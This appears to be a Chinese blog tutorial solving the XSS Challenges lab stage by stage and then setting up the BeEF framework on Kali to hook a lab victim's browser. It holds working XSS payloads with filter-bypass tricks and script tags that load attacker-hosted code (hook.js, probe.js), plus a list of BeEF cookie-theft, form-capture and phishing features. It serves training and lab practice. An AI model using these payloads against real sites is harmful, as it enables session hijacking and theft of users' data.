XSS Challenges通关和Beef介绍 – 作者:zhijian

第一部分:在线XSS靶机实战篇

说明: 这是一个综合了各种XSS漏洞验证环境的综合在线靶机,这个靶机熟悉了,XSS基本就没什么问题了.

当然还有pikachu或者dvwa,有精力的同学可以自行练习,这里就不做讨论了.

提示: 这里为了方便大家理解,介绍几个常用xss测试语句.我们统称为payload,可以尝试多个payload.

<script>alert(1)</script>        //这里alert(1)只是为了简单明了,当然可以弹出cookie.把1换成document.cookie即可.
<script src=x onerror=alert(1)></script>   //引入x,由于x不存在,触发onerror函数,进行弹框
<script src=’http://www.test.com/probe.js’></script>   //直接引入到攻击者的后台网站(可以直接用beef)
<svg onload=alert(1)>              //svg标签用来插入图形,onload表示页面加载完成,触发弹框

<video src=1 onerror=alert(1)>   //插入视频时,错误就触发弹框
<audio src=1 onerror=alert(1)>     //插入声音时,错误就触发弹框
<a href=javascript:alert(1)></a>   //href里可以使用javascript伪协议进行弹框(当过滤了其他语句时,可以使用)

Stage-1

#(1)没有过滤,直接用标签即可
<script>alert(document.domain);</script>
 图片[1]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

Stage-2

#(2)闭合标签,再引入script
11111″><script>alert(document.domain);</script>
#或者闭合前边引号,引入事件
” onmouseover=alert(document.domain)>

图片[2]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科图片[3]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

Stage-3

#(3)select元素中的<option>标签(下拉菜单)标签,用于定义列表中的可用选项
输入1111″><script>alert(document.domain);</script>发现语句被转换为普通语句
#也就是P1部分做了过滤,只能用第二个参数进行尝试
Japan   [</option>自动闭合]    <script>alert(document.domain)</script> ” 

图片[4]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科图片[5]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

Stage-4

#(4)闭合表单中的隐藏参数,p1和p2部分都进行了过滤,所以只能在p3位置进行测试
代码格式:<input type=”hidden” name=”…” value=”…”> 
#答案1:   “><svg onload=alert(document.domain)>%0a  (%0a用来替换空格) 
#答案2:   “><script>alert(document.domain);</script>也可以

#解析:svg/embed/object/iframe
SVG 意为可缩放矢量图形(Scalable Vector Graphics)。
SVG 使用 XML 格式定义图像。
SVG 文件可通过以下标签嵌入 HTML 文档:<embed>、<object> 或者 <iframe>。
也可以使用svg标签插入。
<embed>:
    优势:所有主要浏览器都支持,并允许使用脚本
    缺点:不推荐在HTML4和XHTML中使用(但在HTML5允许)
语法:
<embed src=”circle1.svg” type=”image/svg+xml” />
    
<object>:

    优势:所有主要浏览器都支持,并支持HTML4,XHTML和HTML5标准
    缺点:不允许使用脚本。

语法:
<object data=”circle1.svg” type=”image/svg+xml”></object>
<iframe>:

    优势:所有主要浏览器都支持,并允许使用脚本
    缺点:不推荐在HTML4和XHTML中使用(但在HTML5允许)

语法:
<iframe src=”circle1.svg”></iframe>

图片[6]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科图片[7]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科图片[8]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

Stage-5

#(5)事件触发
#答案 “><svg/onload=alert(document.domain)>%0a 

图片[9]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科图片[10]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

Stage-6

#(6)闭合之前的input标签;或使用事件触发
#尝试用该语句直接被转换为html实体: 
“><script>alert(document.domain)</script>
#答案1: 111″ onmouseover=”alert(111)”>

图片[11]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科图片[12]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

Stage-7

#(7)闭合”使用事件
#答案:  777 onmouseover=alert(document.domain);

图片[13]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科图片[14]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

Stage-8

#(8)利用伪协议
javascript:alert(document.domain)

图片[15]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科图片[16]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

Stage-9

#(9)编码使用的utf-7,很少了,略过
   

Stage-10

 #(10)过滤了domain
#答案1: “> <script>alert(document.dodomainmain);</script>
#答案2: “><script>eval(atob(‘YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==’));</script>
atob: 表示把Base64编码转换为正常字符串

图片[17]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科图片[18]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

Stage-11

#(11)过滤了script,伪协议绕过
#测试1:过滤了script  
“> <a href=”javascript:alert(document.domain)”>xss</a>

#答案1:谷歌浏览器才行,使用tab把script分开进行绕过,在javascript中输入tab.      
“><a href=”javascr ipt:alert(document.domain);”>xss</a>”><a
“><a href=”javascr ipt:alert(document.domain);”>xss</a>
    
#答案2:如果是火狐浏览器,空格不能直接绕过;可以使用tab的html实体绕过
“><a href=javascri&#09pt:alert(document.domain)>test</a> //&#09 tab制表符html十进制编码

图片[19]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科图片[20]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科图片[21]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科图片[22]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

Stage-12

#(12)利用IE特性,2个“可以闭合前边的”
#提示:把\x00-\x20的字符与及<,>,”,’都替换为空
“ onmousemove=alert(document.domain) 

图片[23]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

Stage-13

#(13)使用background:url触发
#分析:根据style属性来触发XSS;要使用IE浏览器才行.
#IE10可用答案:建议使用IEtester工具
background-color:#f00;background:url(“javascript:alert(document.domain);”);
#IE11可用:但是会出现死循环,任务管理器里关闭即可
background-color:salmon;xss:expression(alert(document.domain));

图片[24]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科图片[25]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

Stage-14

#(14)还是在 style中构造xss,同时又过滤了url,script,eval,expression关键字都替换为了xxx。 
#优化后的payload,限制1次弹框
background-color:salmon;xss:expre/**/ssion(if(!window.x){alert(document.domain);window.x=1})

图片[26]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科图片[27]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

Stage-15

#(15)过滤了<>尖括号,用\\和16进制编码绕过
连接地址https://xss-quiz.int21h.jp/stage__15.php?sid=c45ea569ad6de0486e302b53a21d3c418cdceaa1

<>/转换为16进制分别是0x3C和0x3E和0x2f
#原始语句: 
<svg/onload=alert(document.domain)>
#把特殊符号转换为16进制编码后 
\x3csvg\x2fonload=alert(document.domain)\x3e
#所以最终语句1:
\\x3csvg\\x2fonload=alert(document.domain)\\x3e 
#也可以用语句2:
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

图片[28]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科图片[29]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科图片[30]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

Stage-16

#(16)过滤了<>尖括号,用\\和unicode编码绕过
地址https://xss-quiz.int21h.jp/stage00000016.php?sid=34d6de8e617bf6c7d8d37e59321b9f6d8c34b6f1

#提示:”document.write();” and “s/\\x/\\\\x/ig;
#把\\x替换为了\\\\x
#语句1–>使用unicode编码,原始语句为<script>alert(document.domain);</script>: 
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
#语句2–>:使用unicode原始语句<img src=x onerror=>alert(document.domain)>:
\\u003cimg src=x onerror=alert(document.domain)\\u003e
#语句3–>使用8进制原始语句<img src=x onerror=>alert(document.domain)>
\\74img src=x onerror=alert(document.domain)\\76

图片[31]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

Stage-其他

#(17)第17和18关需要老版本IE,这里就不讨论了
地址  https://xss-quiz.int21h.jp/stage-No17.php?sid=ccc92162993f5dcf5634616940c2e19d0d60ab1b

 

第二部分:XSS+Beef

引言:

前边的测试都是为了获取页面的cookie信息,那么获取后,我们能做些什么呢?

收集信息/网络扫描/钓鱼攻击等JS可以做的事情,实际XSS都能实现.

那不会写这些代码怎么办?

没关系,Beef框架已经为您准备好了一切.

说明:

进行beef框架利用的前提是被攻击者一直在打开页面状态中,这样cookie才有效,才能被攻击.

另外beef虽然支持多种功能,但是用户在线是第一个条件,其他还受软件版本/安全防护等其他条件限制.如果不能实现某些功能,就不要纠结了.

2.1 beef介绍和利用

  1. beef介绍

    (1)beef (Browser Exploitation Framework)是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合本地的多功能JS脚本,堪称完美.

    (2)优点:支持图形化和命令行界面,功能强大,操作简单.

  2. beef功能

    (1)收集信息:网络主机发现/cookie获取/会话劫持/记录键盘(不过不太好用..哈哈)等

    (2)社工攻击:点击劫持/弹框告警/模拟钓鱼页面等

    (3)搭配其他漏洞进行内网攻击/CSRF攻击/DDOS攻击等

  3. 钓鱼地址:<script src=”http://192.168.10.20:3000/hook.js”></script>

2.2 xss+beef实验

  1. 请准备Kali2020并进行下载安装 https://www.kali.org/downloads/ 推荐使用VMware版本,不用安装,可以直接用VMware打开.

    默认vm版本用户名密码为root/toor

  2. 环境说明:

    kali作为攻击者:192.168.10.20
    dvwa所在主机作为存在漏洞的web服务器:192.168.10.1
    win7作为被攻击的客户端:192.168.10.7
    #首先进行网络测试,保证3台主机之间都能相互访问,为了实验顺利,我们先关闭防火墙

     

  3. 在Kali中启动beef—->攻击者就位

    第一步:启动apache

    systemctl start apache2 #重启apache systemctl status apache2 #查看状态

    systemctl status apache2 #查看状态

     

    图片[32]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

    第二步:安装并启动beef

    apt-get install beef-xss beef -y #安装主程序

    beef-xss #启动beef

    web访问地址: http://192.168.10.20:3000/ui/authentication

    钓鱼地址:<script src=”http://192.168.10.20:3000/hook.js”></script>

    图片[33]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科图片[34]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

  4. 把恶意代码挂载到web服务器上—>进行钓鱼

    有长度限制,找到该对话框的长度限制,把maxlength=1000

    图片[35]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科图片[36]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

  5. 到这里,用户就上线了(这里是真机上线了).

    把恶意代码挂载到web服务器上—>进行钓鱼

    图片[37]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科图片[38]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科图片[39]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

  6. 不同按钮代表不同的功能

    (1)绿色:对主机生效并且不可见(很难被发现)

    (2)橙色:对主机生效,可能被发现

    (3)灰色:对目标主机可能生效(需要手工验证)

    (4)红色:对目标主机不生效

 

 

2.3 beef功能介绍

1.获取ajax信息

图片[40]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

2.获取cookie信息

图片[41]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

3.获取表单信息

图片[42]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

4.获取页面url连接

图片[43]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

5.获取代码

图片[44]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

6.钓鱼

图片[45]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

7.修改页面链接

图片[46]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

8.摄像头

图片[47]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

9.网络探测

图片[48]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

10.主要功能说明:功能特别多,这里就不一 一列举了,有兴趣的同学可以自己挖掘一下.

图片[49]-XSS Challenges通关和Beef介绍 – 作者:zhijian-安全小百科

 

 

来源:freebuf.com 2020-07-22 23:56:39 by: zhijian

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论